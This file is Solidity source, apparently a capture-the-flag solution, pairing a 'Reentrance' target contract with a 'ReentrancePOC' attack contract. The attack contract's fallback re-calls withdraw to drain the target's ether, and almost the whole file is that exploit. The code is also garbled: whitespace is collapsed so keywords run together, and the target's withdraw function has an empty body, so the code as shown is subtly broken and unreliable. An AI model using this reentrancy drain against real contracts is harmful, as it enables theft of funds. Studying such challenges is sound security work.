// SPDX-License-Identifier: MITpragmasolidity^0.6.2;contract Reentrance { mapping(address => uint)public balances; function donate(address _to)publicpayable{ balances[_to]= balances[_to]+(msg.value); } function balanceOf(address _who)publicviewreturns(uint balance){ return balances[_who]; } function withdraw(uint _amount)public{ if(balances[msg.sender]>= _amount){ } } receive()externalpayable{}}contract ReentrancePOC{ Reentrance Rt; function get_eth() public{ uint totalBalance =address(this).balance; (bool sent,)=msg.sender.call.value(totalBalance)(""); } constructor(addresspayable _me)public{ Rt=Reentrance(_me); } function donate01()publicpayable{ Rt.donate.value(0.0001 ether)(address(this)); } function poc()public{ Rt.withdraw(0.0001 ether); } fallback()externalpayable{ if(address(Rt).balance>=0.0001 ether){ Rt.withdraw(0.0001 ether); } }}